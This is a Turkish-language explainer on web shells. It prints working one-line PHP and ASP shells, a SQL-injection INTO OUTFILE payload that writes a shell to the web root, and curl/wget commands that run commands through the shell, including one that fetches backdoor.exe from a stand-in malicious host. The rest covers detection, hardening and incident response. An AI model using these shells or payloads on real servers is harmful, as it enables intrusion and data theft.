Web shell'ler, sunucuda yetkisiz erişim sağlamak için kullanılan kötü amaçlı betiklerdir. Bir saldırgan, bu dosyaları sunucuya yükleyerek komut çalıştırma, dosya yönetimi veya veri çalma gibi işlemler yapabilir. İşte detaylı bir açıklama:
- Tanım: PHP, ASP, JSP gibi sunucu tarafı dilleriyle yazılmış, saldırganlara uzaktan kontrol imkanı sağlayan bir backdoor türüdür.
- Örnek Kodlar:
- PHP:
Bu kod,
<?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>
?cmd=ls
parametresiyle GET isteği alındığında sunucuda komut çalıştırır (örneğin,ls
ile dizin listeleme). - ASP:
ASP tabanlı bir web shell,
<% Set cmd = Server.CreateObject("WScript.Shell") Response.Write(cmd.Exec(Request.QueryString("cmd")).StdOut.ReadAll()) %>
?cmd=dir
ile Windows komutları çalıştırır.
- PHP:
Saldırganlar, web shell yüklemek için şu yöntemleri kullanır:
- Açıklama: Güvensiz dosya yükleme formları, .php veya .asp uzantılı dosyaları denetlemezse kullanılır.
- Örnek Senaryo:
- Bir web sitesi, kullanıcıların profil resmi yüklemesine izin veriyor ancak uzantı kontrolü yapmıyor.
- Saldırgan,
shell.php
adlı bir dosya yükler ve bu dosyayıhttp://site.com/uploads/shell.php
adresinden çalıştırır.
- Açıklama: SQL veritabanında
INTO OUTFILE
komutu kullanılarak sunucuya dosya yazılabilir. - Örnek Sorgu:
UNION SELECT "<?php system($_GET['cmd']); ?>", NULL INTO OUTFILE "/var/www/html/shell.php"
- FTP, SSH veya panel şifreleri çalınırsa, saldırgan doğrudan web shell’i manuel olarak yükler.
- Komut Çalıştırma:
curl http://site.com/shell.php?cmd=whoami # Sunucuda kimlik bilgisini öğrenme
- Dosya İndirme:
wget http://site.com/shell.php?cmd=wget%20http://malicious.com/backdoor.exe
- Veritabanına Erişim:
curl http://site.com/shell.php?cmd=mysqldump%20-u%20root%20-p%20veritabani
- Dosya İzleme:
/uploads/
,/tmp/
gibi dizinlerde şüpheli dosyaları kontrol edin. - Log Analizi:
- Apache:
tail -f /var/log/apache2/access.log | grep "shell.php"
- IIS:
%SystemDrive%\inetpub\logs\LogFiles\W3SVC1\
- Apache:
- Araçlar:
- Lynis (Sunucu taraması),
- Rkhunter (Rootkit tespiti).
- Dosya Yükleme Güvenliği:
- Uzantı denetimi (
.jpg
,.png
gibi beyaz liste kullanın). - Dosyaları web kök dizini dışında saklayın.
- Uzantı denetimi (
- Kod İncelemesi:
system()
,exec()
,eval()
gibi tehlikeli fonksiyonları kontrol edin.
- WAF (Web Uygulama Güvenlik Duvarı):
- ModSecurity ile şüpheli istekleri engelleyin.
- Güncellemeler:
- PHP/ASP sürümlerini ve eklentileri güncel tutun.
- Zorluk 1: Obfuscate edilmiş (karmaşıklaştırılmış) web shell’lerin tespiti.
- Çözüm: Statik analiz araçları (örn. YARA kuralları) veya davranış tabanlı tespit.
- Zorluk 2: Saldırganın sunucuda birden fazla backdoor bırakması.
- Çözüm: Tüm dosya sistemini tarayın ve yedeklerden temiz bir kurulum yapın.
- Sunucuya erişimi kesin (Ağ bağlantısını kapatın).
find /var/www/html -name "*.php" -mtime -1
ile son 24 saatte oluşturulan PHP dosyalarını bulun.- Şüpheli dosyaları silin veya karantinaya alın.
- Veritabanı şifrelerini ve SSH anahtarlarını değiştirin.
- Günlükleri inceleyerek saldırı vektörünü belirleyin (örn: SQL Injection).